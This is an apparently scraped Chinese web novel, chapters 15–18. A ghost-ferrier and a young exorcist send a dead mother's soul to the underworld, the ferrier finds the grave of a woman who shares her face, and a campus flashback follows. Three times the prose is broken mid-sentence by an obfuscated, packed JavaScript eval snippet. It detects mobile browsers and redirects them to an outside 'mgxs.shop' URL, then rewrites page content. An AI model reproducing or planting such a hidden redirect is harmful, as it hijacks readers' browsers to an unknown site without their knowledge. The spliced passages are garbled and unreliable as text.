周勤走到客厅把桌上的符纸一股脑卷起来,“行了别互相捧了工具人,快来帮我把东西给收拾收拾,我要把我的游戏机搬出来,这才是客厅里该放的东西好吗!” 孟清秋接过符纸拿到书房,“行了,就你之前那摆设才没人信你呢,还好我提醒你重新摆了一下。” 周勤正在推那个摆了各种奇怪道具的柜子:“姐姐,你这完全就是刻板印象,我们现在根本不用这些玩意儿,真正有能力的人——比如我,赤手空拳就可以上了好吗?根本不需要借助道具!” 孟清秋过来帮他推:“因为像我这种不了解你们职业的人就是觉得你们应该是那样的啊,你看刚刚周淑萍她女儿进来之后,是不是被你这一屋子东西给蒙住了?” 周勤说:“行吧,你说的也有道理,毕竟每一个见到我的人都要问一句我真的是大师吗为什么看着一点都不像!” “我只是觉得这个造型比较好看啊!我才不要留个大胡子穿个老头背心在路边摇扇子!看着就像坑蒙拐骗好吗!” 孟清秋想到自己第一次见他时确实也在想这人能是S市最厉害的大师吗,不由得笑了出来,“好吧,我确实很刻板印象了。” 孟清秋和周勤把柜子推回了书房,周勤把他临时去地摊上买的那堆道具收到一个大袋子里扔到一边,把投影仪和游戏机搬回了客厅,终于看顺眼了不少,整个人瘫在沙发上拿了罐可乐喝。 孟清秋站在餐桌边,又想起了什么,“我还有一个问题。” 周勤对着她举了举可乐罐子说:“请讲。” 孟清秋问:“所以你刚刚说你年龄很大是真的吗?你真的会容颜保持术?” 周勤:“……不会,我唬她的,好姐姐,我今年25,真没骗你。” 孟清秋认识他的时候他就不着调,出主意的时候也是满嘴跑火车。要不是真把人“吓”过来了她真觉得那是一堆馊主意,因此这会儿也是半信半疑,“真的啊?” 周勤急了:“真!保真!我爷爷照片还在书房的墙上挂着呢,你不都看见了吗!一白胡子老头,我们家哪会什么返老还童术啊!” 孟清秋听的直乐,“好好好,我信了还不行嘛,走了啊,后天见!” 话音刚落她一念口诀,直接给周勤来了个“原地消失术”,周勤目瞪口呆,半晌喃喃道:“到底是谁会法术啊……下次能不能教教我……” 15. 第15章 周淑萍的女儿在第六天晚上联系了周勤,跟他确认好了时间地点。 而孟清秋将直接以灵魂形态和周勤一起参与周淑萍的灵魂召唤仪式,等周淑萍来了就直接带她进阴界之门。 毕竟是最后一天了,大家都很谨慎,一旦失误,后果不堪设想。 · 早上六点,S市郊区的一处河边。 周淑萍的女儿和女婿从车上下来,远处的草地被雾气包裹着,隐隐约约能看见岸边站着一个穿着深色外套的男人。 周勤冻得直哆嗦,将冲锋衣外套又裹了裹,对着孟清秋的方向说:“真羡慕你啊,不会觉得冷。” 孟清秋虽然没有用人形,但说话他是听得见的,“那你干嘛要选这个地方啊,为什么不直接在你家里。” “因为这儿没监控啊,在家点火别人打电话举报我们怎么办?而且这个点应该是S市阴界之门固定开启点吧,阴气最重了,召唤周淑萍也方便。” 孟清秋还想说些什么,眼尖地看见周淑萍的女婿扶着妻子正往这边走,于是说了句“人来了”就躲在一旁不吭声了。 周勤回过头,草地上的露水把泥土打得松软,他过去帮忙搀扶了一下,带着他们到了河边。 周淑萍女儿拿出一件周淑萍的衣服,又把戒指放在衣服上一起递给周勤。 “这是母亲生前穿过的衣服,还有戒指,如果是她去医院找我不小心掉的,您应该能还给她吧。” 周勤脚边放了个盆子,他直接把衣服放了进去,然后将戒指压在了下面,在周淑萍女儿女婿看不见的角度悄悄把戒指放到了自己兜里。 毕竟是他当时伪造的金戒指,兜兜转转也算是物归原主了。 好一手偷天换日。孟清秋在旁边看得直乐。 周勤拿出一根针,又掏出一瓶酒精消了消毒递给了周淑萍的女儿。 “麻烦你取一点血,然后滴在衣服上,这个铁盆周围也抹几道。” 周淑萍的女婿接了过来,小心翼翼在妻子指尖上扎了一下,顿时血冒出来在她指尖蓄成一滴血珠。 她连忙蹲下一边挤一边按照周勤的说法将手指在衣服还有盆子上到处涂抹,周勤看差不多了就递给她一张纸,和女婿一起将她拉了起来,“好了,已经够了,快止血。” 女婿替她摁着指尖,搂着她退得远了一些。 周勤将盆子放在河边,掏出一盒火柴点燃了一支丢进盆里,不一会儿衣服就完全烧了起来,火焰慢慢变高,驱散了周遭的水雾。 他开始念起一些没人能听懂的咒语,只见火焰随着他的话语变得越来越高越来越亮,周勤一扬手,大喊一声:“周淑萍!回!” 只有孟清秋能看见—— 眼前一道白光闪过,消失了七天的周淑萍像被一条无形的绳索系住,突然出现在了这里。 她看起来很憔悴,还是那副精神不太好的样子,双脚悬空飘在火盆上方,神色茫然,好像不知道自己怎么突然就出现在这里。 孟清秋叫了她一声:“周淑萍。” 周勤听见了,也感应到面前似乎有一个灵魂,于是用手在周淑萍脸前拂了拂,“在吗?周淑萍?” 周淑萍听到召唤者的话,答道:“我在。” 孟清秋明白了,这是召回咒的力量,周淑萍现在被强行拽了回来,一切都只听召唤者的命令。 周勤听到周淑萍回答,就招呼周淑萍的女儿:“成了,她现在就在我面前。” 周淑萍的女儿和女婿对视一眼,向前走了两步,望着火盆上方,“就……在这里吗?” 周勤点点头,“是的,你有什么话要说吗?今天是第七天,她不能待太久了,待会儿我就要送她去黄泉排队投胎了。” 女儿伸手向着空气抚摸了一下,小心翼翼仿佛害怕将母亲的灵魂碰碎了似的,小声喊了一句:“妈妈,是你吗?” 周淑萍被咒术影响着,本来又有些神志不清,可听到女儿的声音,本能地转头向那边看去,孟清秋听到她从喉咙里挤出几个字来,说得断断续续的:“宝……我的……宝宝。” 周勤也听见了,对周淑萍的女儿说:“她在叫你宝宝。” 女儿一下子就哭了,紧紧抓住丈夫的胳膊,“是她,我小时候她经常抱着我叫宝宝,长大之后我觉得太幼稚,就不让她叫了,我已经好多好多年没听过了……” 孟清秋把黄泉叶拿了出来捏在手心,伸出手去拉周淑萍的胳膊,“周淑萍,能听见我说话吗?” 黄泉叶的力量顺着孟清秋的胳膊涌入周淑萍的身体,将她的精神疏导了一下,她的眼神清明了许多,眼睛渐渐聚焦,女儿的脸逐渐清晰地映在她的眼中。 她似乎有些疑惑,视线顺着女儿的脸扫过每一个人,最后停留在孟清秋脸上:“是你……你是那天在医院里说要带我离开的人。” 孟清秋点点头,手还攥着周淑萍的胳膊,生怕她一不留神又跑掉了,“是我,今天是您的头七,您只能停留在人间最后一天了,如果还不跟我走,真的会灰飞烟灭的。” 周淑萍脑中闪过这几天在人间游荡的记忆,她意识不太清醒,只知道要找到丈夫,于是走遍了他们一起去过的所有地方,然而一无所获。 “我没有找到他,小姑娘,他也是像我这样被你带走了吗?” 孟清秋点点头,没有过多解释:“是的,每个人死后都只能在这里停留七天,七天一过都要去黄泉。” “您在这里找了这么久,也没有遇到他吧,他已经在阴界去转世投胎了,如果你们还有缘的话下辈子还是有可能重逢的。” “我现在就来带您也去那个地方,您可不要再乱跑了,过了七天再在这里停留可是会灰飞烟灭的,那就再也没有机会相见了。” 讲完理孟清秋开始打亲情牌,她指了指一旁还在哭的女儿,“您看,您的孩子多担心您啊。” 周淑萍转过头去看她,女儿正被女婿搂着哭得说不出话。 她眼睛眨也不眨看着哭泣的女儿,脑子里掠过自己的一生,从结婚到有了孩子,再到孩子长大成人结婚生子,然后是丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482502|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫去世,最后停在她躺在病床上合眼的一刻。 脑子里想了很多很多,她这辈子仿佛过了很久,又好像只是短短一瞬。 她伸出手想摸摸女儿的头,手却穿过女儿的身体,什么也摸不着。 周淑萍也流泪了,“妈妈对不起你,其实妈妈也想多陪你一段时间,可是妈妈病得好重,妈妈不想再拖累你了。” 周勤一直注意着这边,立刻把周淑萍的话传达给她女儿,女儿摇着头,“不,妈妈,你从来都不是拖累。你和爸爸把我养到这么大,女儿照顾你是应该的。” “我最爱、最爱妈妈了,只要妈妈在身边,怎么样都可以。” 周淑萍用手背胡乱抹着眼泪,孟清秋扶着她的胳膊帮助她站着,等她情绪平复下来。 周淑萍终于缓了过来,冲着孟清秋感激地笑了一下,对女儿说:“孩子,离别是每个人都要经历的,妈妈太想念爸爸了,这几天一直在找他,可是并没有找到。” “现在我才发现,之前的话只是自我安慰,其实这么多年我从来没有想通过,哪怕是重病在床我也还是在自欺欺人。” “你父亲的离世一直是我心里沉甸甸的一块石头,是我最重的执念。我接受不了他的离开,也接受不了自己的死亡。” “直到今天我看到你,才好像终于醒悟过来。” “孩子,人死是不能复生的,由生到死走完这个过程,是我们的命运,而我在死亡到来之际才终于接受了它。” “我没有别的愿望了,只希望你好好活着,过好自己的人生,不论爸爸妈妈在不在身边,你都要开心快乐,一直幸福。” 女儿听着周勤的转述,抽泣着点头,“妈妈,我爱你。我会好好活着的。” 女婿搂紧女儿的肩,对着周淑萍的方向郑重地说:“妈,我会照顾好她和孩子的。” 周淑萍含着泪笑着点了点头,对着孟清秋说:“他是很好的孩子,我一直都很放心的。” 身体开始变得轻盈,本来就靠召回咒拉住的身体这会儿像风筝似的要往天上飞。 周淑萍知道自己该走了。 她主动把手递给孟清秋:“孩子,到时间了。” 孟清秋搀住她的手,“我们该离开了。” 周勤点点头,对女儿说:“她要走了,你还有什么话要说吗?” 女儿擦了擦眼泪:“妈妈,如果……如果有来生,我们还做家人好不好。” 周淑萍笑着点点头:“当然了,爸爸妈妈还要把你当成宝贝,好好陪你长大。” 孟清秋一只手拉住周淑萍,另一只手一挥,阴界之门开启,与此同时召回咒被周勤撤回,周淑萍身上的束缚消失了,她像一片羽毛被风吹起,即将脱离地心引力往天上飞去。 孟清秋猛地一拉,两个人一起跃入了阴界之门,将周淑萍的灵魂彻底送回了黄泉。 周勤感觉两道阴界的气息消散了。 盆里的衣服渐渐烧成灰烬,火熄灭了,只剩下一缕白烟飘飘然然,融入了江边白色的雾中。 16. 过渡一下 “跟你合作很愉快,当然,我更希望没有下次合作了。” 孟清秋在最后一天将周淑萍带回了奈何桥,和奈奈一起把周淑萍送过了桥,好一通折腾下来,她才想起来还没跟周勤正经告个别。 毕竟后面有可能还会找人家帮忙,也不能就这么不打招呼走人。 孟清秋在奈何桥耽搁了一会儿,再次回到人间,秋叶已落了满地。 她想起第一次见到奈奈时她说:我见到你时,路上都是金黄的落叶。 所以奈奈才叫她孟清秋。 那她的真实姓名又是什么呢? 她化了人型,沿着路边慢慢走着,脚下的落叶被她踩得“沙沙”作响,脑子里想着她这两年遇到的各种各样离开的人。 那些爱着的、恨着的,在死亡面前都是那么渺小。有些人觉得离开是解脱,有的人还想要在这世界上多留一会儿、再多看爱的人一眼。 众生百态,她不过是每个人故事最终的那个摆渡者,而她自己的故事还远远没有头绪。 周勤见到她倒是挺开心,毕竟是自己第一次和阴界的人合作,也算是圆满完成,周勤特意做了一桌子菜庆祝。 “虽然你不用吃饭,但我们庆祝都喜欢整点吃的喝的,你就走个形式吧,来来我们干一杯!” 孟清秋举起杯子和他碰了一下又放下,等周勤将杯子里的酒一饮而尽,她才开口:“这次合作很顺利,不过我还是希望没有下次了,毕竟找你们合作一般可都是很难解决的事情。” 周勤嘿嘿一笑:“当然、当然,人都要魂飞魄散了,这种事情还是少一点好。” “其实没什么大事的话有些人一辈子都遇不到你们的,我也不知道是幸运还是不幸,还好我真的把爷爷教我的都学会了,也算没有辜负他老人家。” 孟清秋跟他聊着天等他吃完了饭就告辞离开了,这几天小册子都很安静,奈奈也没有要她加班,她没什么事干,就想沿着路随便走走。 秋天的阳光还是暖烘烘的,道路两旁的树都染上了金色,她很喜欢这样安逸的下午时光。 出了小区门就是S市一中,这会儿应该是上课时间,外面没什么车,孟清秋却看到两个熟悉的身影从学校里出来—— 是顾聿怀牵着念念,念念背着小书包,顾聿怀另一只手上还拿着一束花,正低声和女儿说着话,带着她往路边停着的车旁走。 鬼使神差地,孟清秋拦下了一辆出租车。 坐进副驾驶的时候她才觉得有些荒谬,司机问她:“您好,要去哪里呀?” 她望着对面正在点火发动的汽车,最终还是指了指,“跟着那辆车。” 或许是她戴着口罩又穿着简单的样子唬住了司机,对方已经在脑内生成了一部不知道是捉奸还是卧底的大戏,闻言立马点火掉头,两眼放光,“姑娘放心!一定帮你跟好咯!” 其实根本不需要师傅小心翼翼隐藏,现代社会没有人会想到自己开车出门还能被人“跟踪”。于是他们顺利地跟着顾聿怀的车到了目的地。 车停在了S市郊的一处墓园外,顾聿怀牵着念念,那束花已经到了念念手上,他们走进了墓园。 孟清秋盯着那两个渐行渐远的身影,突然觉得自己好像离真相很近了。 她匆匆丢下两张红色钞票,跳下车跟了进去。 今天不是什么祭奠的节日,下午的阳光洒在一排排墓碑上,倒也不显得阴森。 孟清秋一眼就看见前方一大一小两个身影,正把花放在一块墓碑前说着什么。 她没敢靠近,躲在一棵树下远远看着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482503|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾聿怀和念念在那里呆了很久,直到夕阳西下,落日为天空绘出一片晚霞,顾聿怀才带着念念离开了。 孟清秋这才敢从阴影里走出来,循着楼梯上到最顶上那排墓碑,挨个看过去寻找他们刚刚停留的那座—— 其实根本不用找。 有一座墓碑前放了一束新鲜的、还带着水滴的花,更重要的是,墓碑上刻着的照片,她又见到那张和她一模一样的脸。 孟清秋蹲下身和照片上的人平视,这次终于认真打量了一番。 的确是找不出什么不同来。 墓碑上刻着女人的名字:沈青棠,死亡时间是两年前的今天。 怪不得顾聿怀今天带孩子过来,原来是亡妻的忌日。 等等,两年……两年前,正好是她在奈何桥边醒来的时候。 那也是一个秋天。 沈青棠的墓碑上雕刻着很繁琐华美的花纹,下面还刻着顾聿怀和顾思瑶的名字。顾聿怀买的是合葬墓,此时另一半还空着,那是他为自己留的。 墓碑被擦得干干净净,除了花还摆了些水果零食,想来她生前也是一个爱吃零嘴的小女孩。这样一想,她仿佛和照片上的女人拉进了些距离。 照片上的沈青棠淡淡地笑着,日落前最后一束光正好打在她脸上,给她的眼睛渲染上一层橘色的墨。 孟清秋背对着光,她的影子被投在地上,正好框住了放置沈青棠骨灰盒的那块地面。 像被看不见的手牵引着般,她伸出手去触碰照片上那双笑眼,然后一路向下,摸到沈青棠的名字、顾聿怀的名字,然后是顾思瑶的,最后指尖轻轻碰到地上那片阴影。 她隔着石板在触碰沈青棠的骨灰。 大脑突然如过电般刺痛起来,孟清秋捂住脑袋,跌坐在地上。 17. 第17章 顾聿怀开始注意到沈青棠,是在教学楼后面的绿化带旁。 他有事赶去办公室抄了近路,就这么撞见了蹲在路边喂猫的她。 这条路紧挨着学校的湖,白天鲜有人来,到了晚上倒是吸引了不少情侣在这边散步。 顾聿怀大三了,正忙着保研的事情,中午老师一个夺命电话,他一骨碌从床上翻身坐起就往教学楼冲。 男生宿舍和教学楼有段距离,往常不急的时候他们都是走大路,绕到教学楼前面进去。 今天他赶得急,直接走了湖边的小路从教学楼中间穿过去。 沈青棠就蹲在路边伸长了胳膊对着草丛里面不知道在干什么。 起初顾聿怀没认出来她,只看到一个女孩的背影,头发用一块白色的布一样的东西挽了起来,还有几缕碎头发耷拉在肩上,像在黑发上开出一朵白色的玫瑰。 他匆匆瞥了一眼,都没时间好奇,身影就如一阵风掠过沈青棠背后,跑进了教学楼。 教学楼下的小三花生了小宝宝,沈青棠已经注意很久了。 猫妈妈很警惕,把孩子藏在草丛深处不轻易露面,沈青棠之前就喂过它,好不容易和它熟悉起来,生完孩子又一朝回到了解放前。 沈青棠蹲守了几天,发现猫妈妈越来越瘦,有时远远看到她在翻垃圾桶,人一走近了又跑远了。 没办法,她只能把食物用小盒子盛着放在路边,没人的时候三花就会溜出来吃掉。 结果这两天下了雨,猫粮都受潮了,小三花也是个挑食的,猫粮丢在盒子里一口没动。沈青棠无奈,只能亲自上阵,势必要把猫妈妈哄出来。 她已经跟小三花僵持了很久,不过她向来是个有耐心的人,用手捧着猫粮远远地跟小三花讲话:“咪咪,你不记得我了吗?我经常给你带好吃的呀,我没有伤害过你对不对?我也不会伤害你的孩子的,你放心过来吃。” 小三花睁着圆溜溜的眼睛猫在灌木丛里看她,沈青棠对着草丛“咪咪咪”了半天,好不容易小三花动了动身子,看起来有些动摇,身后不知道是谁飞一般掠了过去,小三花吓了一跳,“嗖”地一下躲进深处了。 沈青棠举着胳膊看着那人的背影:…… 她甚至都没看清楚那人穿的什么衣服背的什么包,只看到一个深色的身影消失在教学楼拐角。 行,喂养小三花大业一朝回到解放前。 沈青棠锲而不舍,站起来溜达了一会儿活动下腿,又开始对着草丛“咪咪咪”。 顾聿怀找老师拿完材料下楼,保研的事情板上钉钉,他心情很好,又绕到了教学楼后面准备沿着湖边走回去。 那个把白玫瑰戴在头发上的女孩居然还蹲在那里。 有些好奇她在干嘛,他这次放慢了脚步轻轻走了过去。 结果沈青棠长了个心眼,听到背后有声音就立马回头看去—— 两个人猝不及防对视。 原来是同班同学。 顾聿怀都站在这里了,主动打了招呼:“你好。” 沈青棠冲他点点头:“下午好。” 他们之前一起合作过一次小组作业,两个人各带了一个“拖油瓶”被老师分在了一组,最后一整份作业几乎全是他俩分工写完的。 也算是有点交集,说过话加了好友的关系。 顾聿怀这次决定满足自己的好奇心,于是蹲下来,“你在干什么?” 沈青棠把手里的猫粮给他看,小声说:“喂猫,里面有只猫刚生了宝宝。” 顾聿怀有印象,那只小母猫有时会在教学楼前面晒太阳:“是不是一只三花?之前经常看到它在教学楼下面晒太阳,最近好像没见着了。” 沈青棠点点头,好像没料到他也知道,话稍微多了一些:“是的,它生了宝宝之后很怕人,瘦了很多。” 顾聿怀想到刚刚来时的场景,“抱歉,刚刚我跑过去的时候是不是把它吓跑了?我看你一直在这里蹲着。” 沈青棠原本是有些无语,看到是同班同学之后就消气了,毕竟之前小组作业她对顾聿怀的印象不错,这会儿他还为这事道歉,反倒是沈青棠有些不好意思:“没事没事,它本来就很警惕,我也只是尝试一下罢了。” 顾聿怀想了想说:“要不……让我试试?它叫什么名字?” 沈青棠说:“我都是叫它咪咪。” 顾聿怀朝沈青棠伸出手,沈青棠给他倒了点猫粮,原本不抱什么希望,没想到顾聿怀学着她叫了两声“咪咪”,草丛里居然探出了一只小脑袋,小三花踱着步朝顾聿怀走了过来。 它先是绕着顾聿怀和沈青棠转了一圈,接着停在顾聿怀手掌前,小心翼翼闻了闻他手上的猫粮,发现是熟悉的味道之后才低下头小口小口吃了起来。 顾聿怀一手托着猫粮等它吃,另一只手尝试着摸它的脑袋,沈青棠刚要提醒他小心三花护食,没想到小三花只是抬头看了他们一眼,又低下头吃上了。 顾聿怀就这么当起了人形猫碗,沈青棠添了好几次,总算是看到小三花的肚子鼓了起来。 吃饱了它也没走,又围绕着两个人转了一圈,从顾聿怀的裤腿蹭到沈青棠的,还夹着嗓子“喵喵”叫了两声,似乎是在感谢。 沈青棠喜出望外,伸手去摸小三花,小三花“呼噜呼噜”地哼着,圆溜溜的小猫眼眯了起来,看得他们俩心里一软。 “你好厉害啊!小三花居然对你没有防备,你是不是网上那种出门就会吸引动物的体质啊!” 小三花这会儿跟他们亲近了,沈青棠心情好,语气也熟络了些。 顾聿怀解释道:“应该没那么厉害啦……可能是去年它腿受伤我帮它包扎过?不过我也没想到过去这么久了它居然还记得。” 沈青棠知道这件事,那天下午她下课回宿舍,看到小三花后腿沾着血窝在路边舔舐,那时的小三花还没成年,小小一坨看着特别可怜。 沈青棠不敢乱动它,望着它的伤口想检查却无从下手,只好跑回宿舍拿毯子准备带小三花去看医生。 等她抱着毯子匆匆回来小三花却不见了踪影,沈青棠找了一圈都没有看见。 第二天小三花又出现了,后腿被严严实实裹了几圈纱布,没过多久就恢复了活蹦乱跳。 “原来是你救的它!” 真相大白,好心救助小三花的人就在眼前,还是自己的同班同学。 沈青棠说:“我当时也没有什么工具,就回去了一趟拿了个毯子,结果回来就没看见它了。” 顾聿怀解释道:“这不是巧了,我当时包里正好有件白大褂,就把它抱去找老师看了一下。” 沈青棠还要说些什么,小三花突然“喵喵”两声从她手下跑开了。 两个人都被打断,沈青棠以为小三花吃饱了要继续躲起来了,于是站起身准备离开。 刚要跟顾聿怀道别,草丛里一阵窸窸窣窣的动静,小三花居然叼着一只毛发稀疏还没睁眼的小猫仔出来了。 一只小猫仔被妈妈“无情”丢在他们俩面前,小三花毅然决然转身,又钻了回去。 沈青棠赶紧蹲下来把小猫仔捧在手里,“它怎么把孩子拿出来了!地上多凉啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482504|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……它不会是想让我们养吧?可是宿舍养不了猫……” 顾聿怀也怕这种情况出现,不说宿舍能不能养了,这么小的猫咪离开妈妈也很难存活。 他把书包打开开始翻找有没有能把小猫包起来的布料,那边小三花又叼了一只小猫出来。 这是要一人一个? 沈青棠一手一只小猫,等着顾聿怀找东西,结果顾聿怀包里除了资料什么都没有,这边小三花已经叼了四个小宝宝出来。 沈青棠和顾聿怀一人举着两只,和蹲坐在他们面前的猫妈妈面面相觑。 沈青棠突然悟了:“它应该只是想给我们看看它的孩子,作为对我们投喂的感谢吧。” 猫妈妈仿佛听懂了沈青棠的话一般,站起来舔了舔沈青棠手里的小猫,冲他们又“喵”了一声。 沈青棠把孩子递给它:“我们看过啦,小猫咪很可爱,你快把它们带回去吧。” 小三花果然叼起孩子挨个往回送,等孩子都被放回去藏好了,它在草丛里露出个脑袋跟沈青棠和顾聿怀示意。 沈青棠站起身冲它挥挥手:“好啦,照顾宝宝去吧,明天再给你带吃的,不许再躲我了哦。” 三花妈妈“喵”了一声,甩着尾巴扎进了灌木丛。 小猫走了,再面对顾聿怀就开始觉得尴尬。 沈青棠把猫粮收好背上包,“我还有事先走了,今天谢谢你了。” 顾聿怀显然也不知道要和她说些什么,看她主动要走连忙说,“不用谢不用谢,帮助小猫嘛。” 沈青棠就冲着他笑了一下,点了点头。耳朵上别的几缕碎发随着她脑袋晃动的幅度掉了下来,遮住了眼睛。她随手一撩又别回耳后,大眼睛弯弯又明亮,像刚刚撒娇卖萌的小三花。 沈青棠已经转身走了,怕两个人都要回宿舍路上尴尬,她还特意走的反方向,打算去教学楼前面买杯奶茶再回去。 顾聿怀看着她的背影,目送她走到了教学楼中间的小道,才恍然回过神来,背好书包往宿舍走去。 沈青棠走之前笑的那一下还在他脑中挥之不去,他突然想到之前小组作业的时候,宋哲对沈青棠的评价。 沈青棠在小组群里很少说话,顾聿怀也不是个话多的,全靠宋哲拉了个群,和沈青棠的室友在里面插科打诨。 结果这俩人唠嗑的时候起劲,真的干起活来又拖拖拉拉。 沈青棠闲聊的时候不说话,完成任务的时候倒是主动揽下来最难的。顾聿怀也跟着挑了不好整理的部分,把简单划水的留给了两个“嗷嗷待哺”吵着要抱大腿的室友。 沈青棠完成得很快,宋哲被顾聿怀拖去图书馆写作业的时候还遇到她了。 她一个人坐在靠窗的位置,下午的阳光一部分透过窗一部分被墙挡住,给她打下一半阴影。 她的眼睛在阴影里专注地盯着电脑,手在阳光下迅速敲击键盘,表情略微有些严肃,时不时翻一下手中的书查阅资料。 宋哲小声问顾聿怀:“她也是来写作业的吗?会不会太难了啊。” 事实证明难的问题沈青棠也能处理得很好。晚上图书馆闭馆,回到宿舍她就将完成的部分发在了群里,收获了宋哲的一连串彩虹屁。 然后沈青棠只回了个“谢谢”。 顾聿怀还记得宋哲当初跟他感叹:“沈青棠人长得漂亮,学习成绩又那么好,但是太高冷了!完全是咱们院高岭之花啊!” 他又想到今天沈青棠摸着小猫冲他说谢谢的样子,低头轻笑了一声,在心里反驳:不是这样的,她也有可爱、平易近人的一面。 18. 第18章 日子又一天天过去,这一届的保研名单张贴在公告栏里。 毫无意外地,顾聿怀的名字在最上面的位置。 宋哲拉着他去看名单,从上扫到最后一排,“哎?怎么没有沈青棠。” S市医大是南方地区最好的医学类院校,保研名额又多,特别是面对本校生,连宋哲这种只在期末考试前拼命发力的选手都能擦着边过线。所以成绩排在前面的同学基本上都会申请。 沈青棠的成绩毫无疑问每次都在前列,但是保研名单上从本校到其他院校,都没有看到沈青棠。 顾聿怀也不知道,怕沈青棠申请了却因为什么原因没能通过,推着宋哲往外走:“好了,别管人家了。” 那天喂猫的事情像是一个小插曲,在顾聿怀的大学生涯中留下了不一样但又并不深刻的一道痕迹,之后他与沈青棠再次恢复了平行线的距离,没有了任何交集。 倒是宋哲,走哪聊哪的性格让他在那次小组作业中跟沈青棠的室友保持了朋友关系,出名单的那天晚上他鬼鬼祟祟凑到顾聿怀面前:“张悦刚刚跟我说,沈青棠根本没有申请保研,可能是有其他想考的学校吧?” “不应该啊,咱学校保研院校都是数一数二的,难道她不想学医了?” 顾聿怀把他的脑袋推开,继续看电脑上的案例:“这么八卦呢你这人。” 宋哲笑嘻嘻地:“打游戏呢刚刚,随口聊到的嘛。” “好了好了不打扰你了大学霸,都保研了还这么用功,小弟佩服佩服!” 他转了个身脚底一蹬,滑着椅子走了。 顾聿怀盯着电脑,刚刚宋哲说过的话还回荡在他耳边。 比起沈青棠想报考其他医学类院校,他更愿意相信她是想换个专业。 毕竟母校已经是顶尖水平,除非脑子坏掉了,谁能拒绝这么好的保研机会? 顾聿怀了解沈青棠的途径仅限于微信朋友圈,沈青棠隔段时间会发上一条,大多数是随手拍的风景,也有一些猫猫狗狗或者美食甜点。 她通常不会配什么文字,有时候会发一个小表情当文案。 和她平时在班上的状态一样,话很少的人。 但是看得出来她很热爱生活。 如果不学医的话,她会选择什么专业呢? 顾聿怀想,这样热爱生活却又安静的女生,心里一定有很多想法吧,她会选择文学专业吗? 或者是心理学? 也有可能是动物学。她的朋友圈里不光有小三花和它的四个宝宝,还有她平时在外面遇到的各种小猫小狗。 上次遇到她喂三花妈妈就觉得她是很有耐心又温柔的人,小动物们也一定喜欢和她相处。 顾聿怀有再多猜想都没办法证实,他甚至没法跟宋哲“八卦”一下。 毕竟和沈青棠不熟,这样好像在随便打听别人的隐私。 时间转眼来到毕业季,最后一学期课很少,大家都去往不同的医院实习。 顾聿怀的家在邻市,院里正好有名额,他想回家歇一阵子,就报了名。 沈青棠是S市人,自然选择了S市的医院,因此一直到实习结束,他们都没有再见过面。 最后一个月,大家陆续回了学校开始准备毕业的事宜。 顾聿怀在拍毕业照那天才见到了沈青棠。 六月的天气已经很热,大家都是穿着自己的衣服站在树荫下等着,等老师们都到的差不多了才开始换上深色的学士服。 沈青棠那天穿了一条浅色的旗袍,勾勒出长腿细腰,头发斜着挽了起来,用一根发簪别住,脸上化着淡妆,像从江南水乡走出来的清冷美人。 她还和张悦站在一起,张悦正叽叽喳喳不知道说些什么,顾聿怀和宋哲从她们旁边经过的时候宋哲和她打了招呼,沈青棠跟着看了过来,正好对上顾聿怀的视线,于是淡笑着冲他点了点头。 顾聿怀也笑着点点头,宋哲和张悦约着待会儿合影一张,没人注意到他们这无声的问好。 摄影师开始找光线角度了,同学们陆陆续续开始整理衣服。 学士服的帽子有些大,张悦怎么都整理不好,沈青棠拿过她手上的发夹,帮她叠了叠帽檐,然后将帽子盖在她头上找好角度,轻轻用发卡别住了。 张悦对着手机照了半天:“青棠!你好厉害!你的手也太巧了!” 沈青棠开始整理自己的帽子,面对夸奖也只是笑,张悦也不觉得尴尬,搂着沈青棠往队伍里走:“好啦,我们快去找个好位置!” 最后还是按身高大致排的位置,沈青棠在女生中算高挑的,被安排在了女生的最后一排,和张悦分开了。 不知道是不是沈青棠刻意选择,她最后站在了大合照队伍的边上。 背后就是男生的队伍,顾聿怀站在中间,稍微歪头就能看到沈青棠的头顶。 摄影师拍了几张站得整齐的版本,觉得没问题了又说:“同学们!现在大家可以把帽子摘下来了!等下我数三二一我们就一起抛起来好不好!” 宋哲的“好”喊得最大声。 “那么,大家准备好!三——二——一——” 大家纷纷扬手,学士帽在天上飞成一只只燕子。 沈青棠的学士帽用发卡别住了,怕弄乱头发,她就没摘。 学士帽飞起又落下,周围洋溢着青春的欢乐气息。她也被氛围感染,一边下意识用手护住头一边跟着笑。 顾聿怀在这样有些混乱的场景中还能精准找到沈青棠。 她抬手扶着帽子护住头部的时候歪了歪头,顾聿怀正好可以看到她的侧脸。这会儿阳光正好,沈青棠的脸被阳光勾勒出轮廓,像在发光。 在周围大声欢笑的学生中她一个人显得有些过于安静了,但她又在笑着,好像也被这种欢乐所打动。 头被什么东西轻轻敲了一下,顾聿怀回过头:“干什么?” 